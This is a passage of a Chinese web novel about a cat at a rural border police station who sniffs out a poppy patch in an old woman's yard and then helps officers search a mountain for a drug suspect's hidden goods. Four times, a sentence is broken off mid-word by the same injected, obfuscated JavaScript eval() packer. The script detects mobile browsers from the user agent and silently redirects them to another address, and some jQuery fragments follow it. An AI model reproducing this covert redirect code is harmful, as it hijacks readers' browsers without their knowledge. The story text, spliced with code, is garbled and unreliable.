阿五见施雅将小碗推到自己面前。 “嗷呜,要不喝点水吧?真抱歉,家里没有什么能招待你的东西。” 阿五不在意的将尾巴搁在施雅手腕上,低头舔了几口水。 阿雅没有阿耶阿娘吗?还是像秀秀的阿耶阿娘一样,不回家呢? 施雅轻柔地摸着阿五的背毛,没有再说话。 阿五喝完了水,走到那一摞书旁边,想看看能否找到吊坠上的字。 叩叩叩—— 施雅的院子门被敲响了。 但门外静悄悄的。 阿五瞬间像只利箭一般冲了出去,一蹬院墙,几下就爬上了墙头。 她往下一望,居然是四五个和施雅差不多大的女孩子,此刻正屏息藏在门口,互相使着眼色。 有两三辆自行车靠在墙边。 阿五松了口气,转头望向走到院中,迟疑着不敢来开门的施雅:“喵呜喵呜~” 这群女孩子听见院墙上传来一连串的猫叫,纷纷抬头。 “猫猫?” 一个圆脸女孩发现了阿五,惊喜地叫着,声音又脆又甜。 旁边的女孩赶忙去捂她的嘴,然而院中的施雅已然听见了。她松了口气,小跑到门口打开门闩,嗔道:“柚子!!” 叫柚子的圆脸女孩将视线从阿五身上拔下来,转向了施雅,一脸懊丧:“哎呀,本来还想给你个惊喜的。” “就是就是!”女孩们纷纷叹气。 “都要被你们吓死了!” 柚子似乎看出了什么,忙拉着周围的女孩子们道歉,簇拥着施雅进了屋。 阿五甩甩尾巴,跳下了墙头。 “我们几个都还没做完暑假作业,特意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15260039|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来找你一块写!” “阿雅,这是你新养的猫猫吗?” “阿雅,离开学还有半个月,这几天我能不能和你一起住呀。我自带干粮了哦!你瞧,方便面!牛肉味的!” 院中叽叽喳喳,寂寞的房子不再寂寞。 施雅一时间简直不知道先回答谁比较好,然而阿五已被柚子简单伸手试探后,摸上了背毛。 这是一只好脾气的猫! “呜呜呜,好可爱,好顺滑的毛毛!” 阿五对于女孩子,总是特别有耐心,主动上前蹭了蹭柚子的脸。 谢谢你们来陪阿雅姐姐。 柚子惊喜地无声尖叫,抱住阿五亲亲蹭蹭。 林湾村。 太阳早已升起,村中大部分人都已吃过了早饭。 风呼呼地刮过,吹起一片蝉鸣,也吹起了正在跑步的边星澄的衣角。 她已经跑了很久了,脸被晒得又红又烫,但她的气还喘得很匀。 林湾村的老人小孩们即使看了好多天边星澄跑步,见她路过,还是会驻足瞧个稀奇。 毕竟村里没有人会专门晨跑,也没有这么高的女孩子。 边星澄只是一味地跑,跑步能让她的恐惧减少,让大脑恢复正常思考。 她跑步的习惯,是向晓带出来的。向晓是她的邻居发小,从小到大,她们都在一块。 向晓和边星遥一样,立志要像边星遥的父亲一样,成为一名英雄警察。 所以很小的时候,向晓就拉着她,跟在边星遥的屁股后面跑步,再一块去学武,风雨无阻。 林天月得知这件事后,阻止过、甚至打过边星澄,不允许她再跟着哥哥去学武。 她早早地失去了丈夫,只想好好将两个孩子抚养长大。希望他们平平安安,而不是当什么英雄。 可边星遥是个犟种,怎么说都不听。林天月只得转而对边星澄耳提面命,但从来听话的边星澄,第一次反抗了妈妈,一定要去学武。 边星澄此前每每想起这件事,都会觉得有点吃惊。但两个月前,她记起了前世的一切,才明白这是她的潜意识在作祟,她得学会一点保护家人的本事。 如今阿五的吊坠出现了意料之外的变化,鉴于阿五对吊坠的宝贝程度,边星澄想,她的计划有很大可能会失败。 既然如此,她就必须想个备用方案。边星澄停了下来,深深叹了口气,大约又要和妈妈吵架了。 她慢慢地走回到刘奶奶家,洗漱好,就出门前往森林派出所。 路上,边星澄远远地瞧见派出所门口,停了一辆极陌生的黑色汽车。 她的心跳了跳,眼睛也亮了。 今天是周六,难道是林天月来了? 21.第 21 章 边星澄在派出所,不仅见到了林天月,还见到了她久未谋面的发小。 “晓晓?” 听见声音,挽着林天月手臂的娇小女子转过了头,灿烂的笑容在她的脸上绽放:“星澄!” 边星澄张开手,将扑过来的向晓抱住。 “啊啊啊!星澄我好想你!” 陪在林天月和向晓身边的警察见状,默默走开了。 林天月笑眯眯地走了过来:“星澄,怎么样,惊喜吧?” 边星澄不住地笑着,将怀里的向晓放到地上:“你们怎么今天一起来啦?门口那车是你们的?” 她仔细打量着向晓,见她眼下有淡淡的青色,想来是没睡好。 林天月点点头:“嗯,借的朋友的车,昨晚都是晓晓开的。” “我本来还以为你和林姨都在家呢,没想到你居然不在,只好亲自过来逮你啦。”向晓就早上睡了会,困得不行,但见到了好友,精神头一下变得好得不得了。 她笑嘻嘻地瞧着边星澄:“不错不错,林姨养孩子那叫一个棒。瞧瞧我们星澄这模样,条顺盘靓的!” 林天月闻言,亲昵地掐了掐向晓的脸:“你呢?我原来养的那么一个白白胖胖的晓晓,怎么去了趟北市回来,变得又黑又瘦了?” “林姨我这是变强了!” 边星澄抿嘴笑着:“晓晓你是回春东工作了吗?” 向晓挽住了林天月的胳膊,瞟着她的脸色:“对呀,我考回春东了,就在华金派出所。” 边星澄一愣,也立刻去看林天月。 林天月却只是叹了口气:“搞不懂你们一个个的,都要去当这个警察,又苦又累的,还好星澄听话。” 华金派出所是林天月丈夫边安民生前所在的派出所。在星澄出生前,他就因为抓捕一名抢劫犯牺牲了。 向晓赶忙转移话题:“对了星澄,你的那只小猫咪呢?” “阿五有点事,被舒教导员带出去了,具体我也没问。”边星澄笑笑,瞧了眼天色,“我去做午饭吧,厨房应该还有点韭菜,吃卤米线好不好?” 向晓一听,顿时口舌生津,疯狂点头。在北市待了那么些年,她超级想念家乡菜,况且星澄做菜很好吃:“好好好!” 边星澄拉着向晓往办公楼走:“我去问问今天中午所里有几个人。” 林天月暂时留在了办公室里,向晓则黏着边星澄去了厨房。 边星澄打开水龙头,在清澈的水流下仔细清洗翠绿的韭菜。 向晓凑到边星澄身旁帮忙,侧脸盯着她:“星澄,你怎么瞧着又开心又不开心的?” 边星澄手一顿:“我有点害怕。” “……你怕我像边叔叔一样?” 边星澄听见这个称呼,垂下眼:“是。” 向晓沉默了一瞬:“我会好好注意的。” 边星澄捡走干瘪发黄的韭菜叶:“而且我还怕带不走阿五。” “小猫更习惯待在星遥哥这里吗?听林姨说,它很乖的。”向晓对那只叫阿五的小猫越发好奇,“说起来,除了学武那件事之外,你好像再没有这么执着的想要一样东西了。” 边星澄语气郑重:“阿五很特别,对我也很重要。” 向晓闻言想了想,道:“那等舒教导员带着小猫一回来,咱们就出发回春东!赶紧拐走小猫咪,省得夜长梦多。” “噗,听起来我们很像强盗。” “哼哼,我就是,我不仅要抢走小猫咪,还要抢走你呢!”向晓放下韭菜,将手上的水珠弹到边星澄脸上,瞧着她呆愣的模样,笑得前仰后合。 边星澄无可奈何地微笑着:“本来还想多给你放两勺肉酱的,现在看来还是算了。” “啊?”向晓脸上的笑容立刻消失,“不要啊!我错了!” 榕树村。 施雅身边围着一圈女孩子,正拿着手里不会做的题排队等施雅帮忙解题。 阿五坐在桌子上,状似听得非常认真。 虽然她完全听不懂,已开始神游天外。 为什么要学这个划了很多线的三角形呢?还有圆形、方形,学这些对吃饱肚子有什么助益吗? 唔,不过这群女孩子瞧着,好似和阿雅一样,一个都没有嫁人呢。在阿五的家乡,这是不可能的事,她的阿姊比她们都要小,已经在相看人家了。 说起来所长妹妹边星澄也没有嫁人,难道此地的女孩子讲究先立业,再成家? “嗷!我懂了!” 阿五被柚子的一嗓子喊回了魂。 柚子瞧着施雅给她画的辅助线,恍然大悟,促狭道:“谢谢施老师。” 施雅闻言脸一红,赶走了柚子,拿过另一个女孩的本子:“乱叫不教你了啊!” 老师? 阿五甩来甩去的尾巴一顿,双眼一亮,边星澄不就是老师吗! 除了施雅这样什么字都认识的学生,秀秀这样的认得的字并不算太多,所以肯定有老师会教认字。 那她岂不是只要每天跟着边星澄,混迹在学校里,就很快能弄明白吊坠上字的意思了么? “阿五,阿雅?我们要走了。” 恰巧院门外传来舒瀚海的呼喊。 “喵~”阿五愉快地大声回应,从柚子的手下溜走,来到阿雅面前和她告别,“喵呜~” 阿雅姐姐,我走啦。我要去春东一趟,要隔很久才能再来看你了~ 施雅摸摸阿五的小脑袋,后知后觉地道:“原来你叫阿五,不叫嗷呜啊。” “喵嗷。” 对呀~ 阿五跳下桌,往门口跑。 施雅赶忙对朋友们道:“我去开个门哦。” 说罢她匆匆往门口而去。 柚子和朋友们互相看看,也跟在了施雅身后。 门开了,阿五迫不及待从门缝中溜了出去,她想赶紧回去,和边星澄一道去春东。 舒瀚海正站在门外。 而村长和文宇宙站在梅迈家门口,苗金已经走了。 “教导员,你们要走了吗?” 舒瀚海扫过施雅身后的女孩子们:“对啊,你同学吗?” “嗯嗯。”施雅笑着点头,眼里是温暖的笑意,“她们来陪我。” 舒瀚海微笑:“好好学习,我和阿五走了,下次再来看你。” 施雅点点头:“再见,阿五也再见。” 女孩们也跟着一块道别。 柚子不舍地看着阿五,好短暂的碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272096|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面呀。 “喵呜~” 阿五一步三回头地跟着舒瀚海走了。 不知不觉间,阿五想,除了万里,她已经有了好几位人类朋友。秀秀和阿雅,还有迈叔,她会时常想起这些人,也会期待和他们的再一次见面。 若是和边星澄离开,所长和教导员也要很久之后才能再见面了。 文宇宙推着自行车走在舒瀚海身边,终于还是鼓足勇气问道:“舒教导员,你们在资助施雅吗?我可不可以也参与进来?” “你刚来的流水乡?”舒瀚海瞧了眼文宇宙。 “是的,我是今年毕业的,刚来没多久。” “你愿意加入,我们当然很欢迎。”舒瀚海思索了一会,向他介绍森林派出所的助学情况,“我们所目前资助了三个学生,两个孤儿,一个单亲家庭,除了施雅上高中,其他两个都还是初中生。” 舒瀚海和文宇宙聊着,村长和阿五跟在他们身后,拐进了一条巷子,又遇见了村医刘医生。 刘医生在一户农居门口站着,看着已经等了好一会。 双方打了招呼。 村医顺嘴解释:“真巧,又遇见了。我顺道过来瞧瞧翠姨的腿,她最近腿疼得厉害。” 门嘎吱一声开了。 门后露出了翠姨的身影,是一位年过七旬的老奶奶,拄着一根木头拐杖。 “刘医生你今天怎么来了?” “去看梅迈,路过你家顺便来看看你的腿。” “哦,哦。” 阿五动动鼻子,闻着屋内传出的味道,忽然从翠姨脚边蹿了进去。 “哎哎!!” 翠姨吓了一跳,被刘医生及时扶住。 舒瀚海一怔:“阿五?” “哎哟!”翠姨转身往屋里赶,村医弯着腰,跟在她身后扶着。 门后是一条狭长的过道,靠墙的位置叠满了柴火,只容一人通过。因此众人越不过翠姨,只好慢慢地跟在她身后。 舒瀚海大着嗓门连连道歉:“对不起翠姨,是我没看好猫。” “搞什么嘛!弄坏东西你要赔我的!” 舒瀚海道:“好的好的,实在对不起。” 文宇宙跟在教导员身后,忍不住为阿五辩白:“小猫可能是闻见老鼠的味道了。” 村长也打着圆场:“是啊,肯定是这样。” 前方渐渐亮堂了,一行人正要穿过过道,来到院中时,翠姨忽然停下:“你们不准进来,就在这里等,我去把猫抱出来。” 舒瀚海还没回应,一道叼着东西的小身影已经跑到了翠姨眼前。 翠姨还没瞧清小猫叼了个什么东西,阿五已经再次从她脚边穿过,越过了四条腿,来到了舒瀚海腿边。 阿五扒着舒瀚海的裤腿,三两下就到了他的怀里。 “阿五,你怎么乱跑到人家家里来?” 舒瀚海托住阿五,刚说完,手里就摸到了一个硬硬的球状物。 他一愣,这摸着也不像个老鼠啊? “喵呜,喵呜!” 教导员,你快进去瞧瞧吧。 舒瀚海眯着眼,将那球状物拿到眼前。即使过道昏暗,他还是瞧清了手里的东西。 罂粟! 22.第 22 章 翠姨的院子很小,摆满了各种各样的物件。 其中一块被黑布蒙上的地,此刻被撕破了一角,露出了几株绿色的植株。 舒瀚海一个箭步冲上前将黑布掀起,露出了满地招摇的罂粟植株,都已经结了果,粗略估计大概有个百余株。 刘医生目瞪口呆:“翠姨,你不是说你这里种的是菠菜吗?怎么是罂粟啊?” 他这几个月来了好几趟,竟然没想到掀开来看看这所谓“菠菜”的长势!真是蠢,刘医生懊恼不已。 村长气地直跺脚,指着翠姨:“哎呀哎呀!你真是老糊涂了!犯法了你晓不晓得。” “我,我就是种一点治腿!”翠姨见这些罂粟被发现了,索性也就直说了,“我这个腿老是痛,刘医生怎么看也看不好,他们都说这东西效果很好!” 刘医生凭空被扣了口黑锅,气得脑门子冒烟,可又不好和高龄的翠姨计较。 阿五站在舒瀚海身旁,看了看翠姨的腿,这会翠姨瞧着已经有些站不住了,全身的力量都压着拐杖。 阿五四下看看,小跑到一只小板凳旁,不断拱着它,想将这只板凳拱到翠姨身边。 舒瀚海瞧见,赶忙接过板凳,将翠姨安置在凳子上,还不忘夸奖阿五:“阿五,好猫!” 文宇宙站在一旁,已经拿出了裤兜里的小本子和笔,唰唰记录着情况。 舒瀚海道:“翠姨,你是听谁说的这个治腿好?” 翠姨生气地歪着头:“他们都这么说!” 村长差点气厥过去:“阿翠奶奶,话不好这么讲吧!半年前,我们村委和公安还每家每户宣传过,罂粟是绝对种不得的!你难道也想像梅迈家的小儿子一样,吃中毒把他爸爸都砍了?” 翠姨一听这话,睁着浑浊的双眼吃惊道:“梅迈死了?” 舒瀚海扶额。 阿五瞧着这位奶奶,也有点语塞,不过这玩意真的可以帮助这位奶奶治腿疼吗?她想到了梅文那狰狞的模样,立刻摇摇脑袋,绝对不可能! “没死。”村长没了脾气,“但躺在床上呢。” “翠姨,罂粟是治不了腿疼的,告诉你的人是骗你的。”舒瀚海道,“我们还是要去正规医院看。” 翠姨固执:“他不可能骗我!” 舒瀚海耐心道:“我们更不可能骗你了嘛翠姨,你刚才也听见梅迈的情况了,这种事你去村里打听打听,大家都知道的。” 翠姨狐疑地扫过现场众人,每个人都在点头。她想了想,还是闭着嘴不肯说。 刘医生一直在沉思,突然灵光一闪:“翠姨,是不是刘非常那小子来看你的时候告诉你的?” 翠姨的儿女只有逢年过节才回村里,平日里就让孙子买点米面油之类的送回来。 “刘非常是阿翠奶奶的孙子,住在流水乡,开了家火锅店。”村长对着舒瀚海耳语。 “你怎么知道?”翠姨大惊,“非常说这个药金贵,不好告诉别人的。” 文宇宙立刻记下了这名字,舒瀚海站起身将他拉到一边低声交代:“文宇宙,村委有电话,马上去给你们派出所打电话。” “是!”文宇宙马上就想冲出去,又被舒瀚海拉住,让他带上村长。 文宇宙拉住村长出门,让他坐在后座,蹬着自行车直奔村委。虽然他带了BB机,但有电话的话,还是电话说更快。 没想到休息日来一趟榕树村,还能发现案子!文宇宙双腿抡得飞快,浑身上下都充满了力量。 村长被颠地连声叫苦:“后生,慢点!” 翠姨在凳子上沮丧地坐着:“非常心疼我腿难受,特意给我寻来的种子。公安,你们可不可以不要抓他。” “你放心,我们暂时也只是找他问话而已。”舒瀚海安抚着翠姨,“但是这些罂粟我们要铲掉,翠姨你以后千万不能再种了,家里头没有多余的种子了吧?” “没了。”翠姨垂下了脑袋,脸上每一道皱纹都写着懊悔,她看着脚边的阿五,突然站了起来,拿起拐杖就想打猫,“都是你,走走走。” 舒瀚海瞳孔一缩,探身挡在了阿五面前,伸手握住了拐杖末端:“翠姨!” 阿五则三两下跳上了柴垛,居高临下地望着翠姨,圆圆的眼里满是漠然。 翠姨只不过是想找个出气筒罢了,她是这院中看着最弱小的,自然会被盯上。 可这么老的老奶奶,也不明白兔子急了也会咬人的道理吗? 她舔舔自己的爪子,刚长好的爪钩在阳光下闪闪发亮。 “翠姨,如果刘非常真在意你的身体健康,就不会拿这种有毒又犯法的东西给你种。”舒瀚海站起身,克制住脾气,“种罂粟是要坐牢的啊,你难道七十多岁了,还要去牢里头蹲着吗?” 刘医生摇摇头,上前扶住了翠姨:“就算今天这猫没发现,我也早晚会发现的,翠姨你连我也要打?” 翠姨伸出枯树般的手,抹掉了脸上的泪。舒瀚海深深叹了口气,刘医生将她扶进了屋里劝导。 午间的阳光如此炽烈,舒瀚海望着翠姨的背影,心里却有些凉凉的。 他抬起头,眯着眼看向柴垛上注视着他的花斑小猫。小猫披着阳光,一瞧就暖融融的。 “阿五,来。” 阿五跳下了柴垛,被舒瀚海接住。她瞧了瞧舒瀚海的手,还好没受伤。 “阿五你是最棒、最厉害的小猫!”舒瀚海摸摸小猫,果然如他所料,又柔软,又暖和。 他笑容满面,不吝夸奖:“真不愧是我们派出所出来的小猫,是最最棒的!等回去,我奖励你一碗肉饼蒸蛋。” 阿五昂起了小脑袋:“喵呜~” 那就说定啦! 将阿五放到地上,舒瀚海走到罂粟田边,拿起墙边的农具将它们一一铲除,整齐地码在地上。 “阿五你就见过一次罂粟吧,这都能记住,啧啧啧,我们阿五怎么这么聪明?” “瞧瞧我们阿五,来派出所没两个月,这好事简直是做了一箩筐。上次迈叔还跟我说,他第一次见你的时候,你抓了一条想攻击秀秀的蛇呢。” “我得找时间写篇文章投稿,好好表扬表扬你。” 阿五本垂着尾巴在一旁看舒瀚海干农活,听他念叨着,尾巴渐渐笔直地竖在了身后,像根小旗杆似的。 文宇宙此时冲进了院中:“报告!舒教导员,我已经通知我们所了。” “好,辛苦了,帮忙数一下数量吧。”舒瀚海指指身旁的植株。 “好的。”文宇宙路过阿五,伸手摸了一把尾巴尖,这才美滋滋地开始干活。 阿五收回尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283779|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴,莫名其妙地瞧了眼对方。看他认真数罂粟的模样,到底还是大度地饶恕了他。 等文宇宙清点清楚植株数量,村长和村委书记气喘吁吁地赶到了,门口还聚集了一大堆闻风而来看热闹的人。 “一共是91株。”文宇宙在小本本上做好记录。 舒瀚海点点头,寻了个袋子将它们装起来交给了文宇宙:“拿着,等会我带你回流水乡派出所。” 村委书记上前握住了舒瀚海的手,诚恳道:“教导员你好,我晓得种罂粟是违法的,这个是我们村委的工作没有做好,我检讨。” “但这个数量不多,刘翠年纪又大了,今年都78岁了,身体不好,可不可以不要带去拘留了?” “我保证,后续一定对刘翠进行严肃地批评教育。” 刘医生听见动静,也带着翠姨出来了:“翠姨,赶紧认错,你想去蹲大牢?” “我错了,以后再也不敢种了。”翠姨深深垂下了头,显得身子越发佝偻。 “翠姨,你必须真的明白了这件事的错误,不能只是说后悔被我们发现了,知道吗?”舒瀚海扶起翠姨。 “嗯,我晓得了。” 舒瀚海注视着她的眼睛,确认她对此是真的认识到了错误,这才放下她的手。 “多谢你,舒教导员。”村委书记感谢着。 舒瀚海只是道:“这也是我们派出所工作没有做到位,是我们的错。” 他带着文宇宙和阿五走到门外,瞧见门口围观的人一愣。舒瀚海索性打开文宇宙拿着的装罂粟的袋子,开始了普法宣传工作。 阿五蹲在一旁,瞧舒瀚海苦口婆心地对众人解释着罂粟的危害,忽然觉得舒瀚海真的是很好的人。 如果当初他们那条街,也有舒教导员这样的人,一定会和阿耶成为好友的! 阿耶阿娘,阿兄阿姊,你们什么时候能醒呢?阿五真的很想将所长和教导员介绍给你们认识。 等舒瀚海在乡亲们的帮助下,将文宇宙的自行车绑在吉普车上,又带着文宇宙和阿五赶到流水乡派出所后,就得知翠姨的孙子刘非常已经被抓了。 李所长带着民警们在刘非常的火锅店和家里,发现了将近两公斤的罂粟粉,以及还没来得及磨成粉的罂粟果。 “舒教导员,多谢你!”李所长握着舒瀚海的手,将他送到门口。 “要谢就谢阿五,我什么也没干。”舒瀚海笑笑,指指车里扒着车窗看着他们的小猫。 “哎?这是不是那只从吸毒者手下,救了一个小女孩的猫啊?”李所长凑到车窗边,想摸摸阿五的小脑袋,被她躲了过去。 舒瀚海无比自豪地伸手,成功摸到了阿五的小脑袋:“对啊,就是她。” “了不得。”李所长啧啧称奇,“还能闻到罂粟的味道,这比起缉毒犬也不差了嘛!” 缉毒犬?阿五听到了一个新名词。 这里的犬竟然也都有自己专门的工作? 万里是警犬,和缉毒犬有什么不同呢,阿五好奇地思索着。 “再见,李所,有事再联系。”舒瀚海炫耀完阿五,打开车门上了车。 李所点点头,笑眯眯地招着手:“再见。” 一望无际的蓝天下,绿色的吉普车载着舒瀚海和阿五,朝林湾村飞驰。 23.第 23 章 舒瀚海一个漂移将车停到院子里,跳下车抱住阿五,兴冲冲地往办公楼而去。路上遇见了急匆匆往外走的马自平,他赶忙拦住询问:“所长回来了吗?” “啊回了,哎,但……” 马自平抬着手还没说完,舒瀚海已像一阵风似地刮走了。 “星遥!阿五居然能闻到罂粟的味道!”舒瀚海急步从走廊里转到办公室门口,“砰”一下推开门,将怀里的阿五高高举起,以期给边星遥展示他挖到宝的激动心情。 它已经不再是一只普通的小猫了! 阿五无奈地被举着,勾勾尾巴尖,视线落在了边星遥身边,两个穿着T恤衫的男人身上。 “教导员回来了,快去换衣服。”边星遥扫过舒瀚海全身,“有任务。” 穿着便服的舒瀚海立刻将阿五放在了地上,火速跑步离开。 阿五见边星遥有正事,也转头出了门。 哒哒哒哒,三道急促的脚步声从阿五身后追出。 阿五默默靠边。 边星遥余光瞧见阿五,思绪一转,弯腰顺手将它捞在了臂弯里。 阿五抬起小脑袋,见边星遥严肃着一张脸,立时垂下四肢,假装自己是只玩偶。 所长带着她,一定是有原因的。 马自平通知了所里的同僚们,大家这会都已穿戴整齐地列队站在了院中。 阿五发现刘志雄并不在队伍中。 边星遥夹着只猫,走到众人面前:“跑步走。” 此时天色已近黄昏,派出所身后接壤着边境线、连绵不尽的十盘山还沐浴在阳光下。 来找边星遥的两位便衣民警,其中一位留在了森林派出所,另一位穿着黑T恤的则在队伍中。 他皱眉瞥了眼紧紧跟在他们身边的阿五,张口想问,但想想还是算了,能帮忙找到毒品就行,管他们带猫还是带狗的呢。 一行人还没到十盘山山脚,舒瀚海就追上来了。 “所长。” 边星遥点点头,简短说明情况:“禁毒队进十盘山抓人,人到手东西不见了。” 舒瀚海沉了脸。 阿五想,丢了东西?看来所长带她一块上山,是为了找东西。她精神一振,报恩的机会来了! “太阳就要落山了。”边星遥皱眉瞧了眼天色,“希望天黑前能找到东西。” 整队警察都明白边星遥的意思,登时加快了登山的步伐。 队伍中的便衣民警段望面色忧虑:“那座山峰沟沟坎坎的,又满地都是灌木丛和荆棘,靠我们六个人搜实在有点困难,只好麻烦你们支援了。” 阿五抬头,他的手臂上是一道道凸起的红痕,应是被长刺的植物刮伤的。 段望紧接着又补充道:“有两只缉毒犬在隔壁迎春县跟着禁毒队设卡检查,我们也申请调过来了,但要一个多个小时以后才能到十盘山。” 阿五竖起了耳朵,缉毒犬?那她今天岂不是有机会见到,她很想瞧瞧这缉毒犬与所里的万里有什么不同。 “不麻烦。”边星遥回道,又忽然问舒瀚海,“对了教导员,罂粟怎么回事?” “下午在榕树村,路过一户老乡家,阿五忽然冲进去给我叼了个罂粟果子出来。我进去一瞧,这个老奶奶家种了一片罂粟田。” “罂粟种子是老奶奶的孙子给的,他在流水乡开火锅店,李所长把他已经抓起来了。” 段望爬着山,听得一愣一愣的,伸手握住舒瀚海伸过来的手,借力攀上山:“巧合?” 阿五不满意地瞧了他一眼:“喵!” “不可能!”舒瀚海继续往前走,“有点滑,小心。阿五绝对是特意叼给我的,她上次跟着我们去山里清扫过罂粟田,还帮着抓了嫌疑人。” 森林派出所的民警们也七嘴八舌地说道:“看来阿五以后也可以当缉毒犬用了嘛。” “那这回进山,也可以让阿五帮着。” 段望忍不住插言:“但就算是经过专业训练的缉毒犬,在山里头也不一定好使,何况一只猫呢?” 边星遥制止了众人的讨论:“好了,专心爬山。” 众人住了嘴,节省力气,静默地穿行在山林中。 阿五爬山比人要轻松一些,她一边绕过拦路的树根,一边思索着等会该如何寻东西。 山林又大又广,一样东西落在山中,就像一条小鱼掉进了溪水里,根本就不会知道它游到了哪儿。 如果胡乱去找,除非是撞了大运,否则根本是找不到的。 森林派出所内,留下接应警犬的便衣民警被留守民警小乔拉着,一块吃上了林天月等人做的晚饭。 “等会又要去忙了,你们两多吃点。”林天月不住地给他们二人夹着菜。 “哎,哎,谢谢阿姨。”两位警察快速地扒着饭,趁有时间要赶紧吃,待会上山也有力气。 林天月三人下午迟迟等不到阿五回来,就索性去买了菜,打算吃了晚饭再走。 结果她们做了一桌子菜,边星遥却带着人离开了,猫也没能留下。 边星澄端着碗看似在吃,实则已经数了半天米粒。 向晓望着十盘山的方向,眼里是灼灼的光。 密林中的一条小溪旁,一片被稍稍清理过的地面上,一位穿着便服、手拿对讲机的男人蹲在嫌疑人面前,试图问出他将背篓扔在了何处。 “于队!边所带人来了!” 三江县缉毒队的于修明闻言转过头,站起身迎向边星遥:“边所!感谢感谢。” 阿五跟在边星遥脚边,她曾和眼前这个叫于队的人在医院有过一面之缘,阿五记得他当时被那一群警察簇拥在最前方。 地上被拷着的嫌疑人抬头瞄了眼边星遥,瞥见他脚边的猫,眼里闪过一丝讥诮,复又垂下头。 “于队,辛苦了,有锁定大概范围吗?”边星遥开门见山,“这座断魂峰面积可不小啊。” 红日将要落在山尖。 “起始点就在这。”于修明指指身后的嫌疑人,“我们的同志在山顶还瞧见吴成林背着箩筐,但是一下山,他就开始狂奔,中间跟丢过大约五分钟。在这条溪边追到他的时候,他的背篓就不见了。” 边星遥皱眉:“有没有可能扔到山下了?” 这座山被称为断魂峰,就是因为一面山壁都是断崖,无人可下。 若是扔到了山下,基本没有找回的可能。 于修明摇摇头:“应该还在。” 边星遥低头瞧了眼阿五:“他拿的货是什么?” “不确定,但大概率是四号。” 阿五听得云里雾里,不明白他们在打什么哑谜。 但总之听起来,不是罂粟。 刘志雄因熟悉十盘山的情况,此前跟着缉毒队上山跟踪,此刻正在林中搜索,舒瀚海已带着人进入林中与他汇合。 这块空地上,目前就剩边星遥和于修明,以及两位守着嫌疑人的缉毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289156|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队员。 阿五慢慢绕着圈,从嫌疑人吴成林的身后靠近。 守在吴成林身旁的缉毒队员正要赶走阿五,被边星遥及时制止。 于修明不解地盯着阿五,越瞧越眼熟,将边星遥拉到一旁,莫名其妙道:“边所,你带猫干什么?这可不是开玩笑的地方。” “试试看。”边星遥正色道,“它今天刚在村里头寻到了一片罂粟田。” “……”于修明无奈,“你这是死马当活马医啊。” 吴成林的身上脏兮兮的,袖口和裤脚还是湿的,手和脸都有擦伤,还沾了点红色花汁。 阿五闻了闻吴成林的手,记住了这个人的味道,又嗅嗅他的衣服和鞋子,细细分辨着他身上其他的气味。 林中的一草一木都有气味,如果人路过,或多或少,都会沾上一点。 比如此刻吴成林的身上,有一股浓重的特殊的清苦味,来自溪边开着的紫红色花。大约是警察们追到这里,将他按在了这些花朵上沾到的。 阿五其实不知道这林中的花草树木叫什么,但她闻过它们的味道,每一种在她的嗅觉中,都是独一无二的。 吴成林察觉身后有东西,不安分地乱动,被两位队员压住。 阿五浑然不管,只认真嗅着记着。 接着她来到边星遥身边,目光闪闪的“喵”了一声,就转身往山上去了。 边星遥对于修明道:“于队,我走了。” “嗯。”于修明一言难尽地望着边星遥,到底没说什么难听的话。 阿五走的这条路,正是吴成林下山的路,道路旁随处可见被踏断的树枝。 阿五四处嗅闻着,若长时间地停留在某一个地方,边星遥马上就会上前探查。 时间一分一秒地流淌着,太阳已从山巅落下,但依旧慷慨地赠予森林一抹余晖。 森林中的警察们散落在这片山峰上,好像十几粒草籽。但他们仍然咬着牙,一言不发地继续在林中翻找。 吴成林虽然忐忑,可想到山这么大,他藏的位置非常隐蔽,况且天又渐渐黑了。这群警察找到的机会实在很小,顿时就放下了半颗心。 于修明握着对讲机,面沉如水。 边星遥身上的衣服也如同其他人一般,被荆棘划破,脸上手上都沾了草屑泥土。 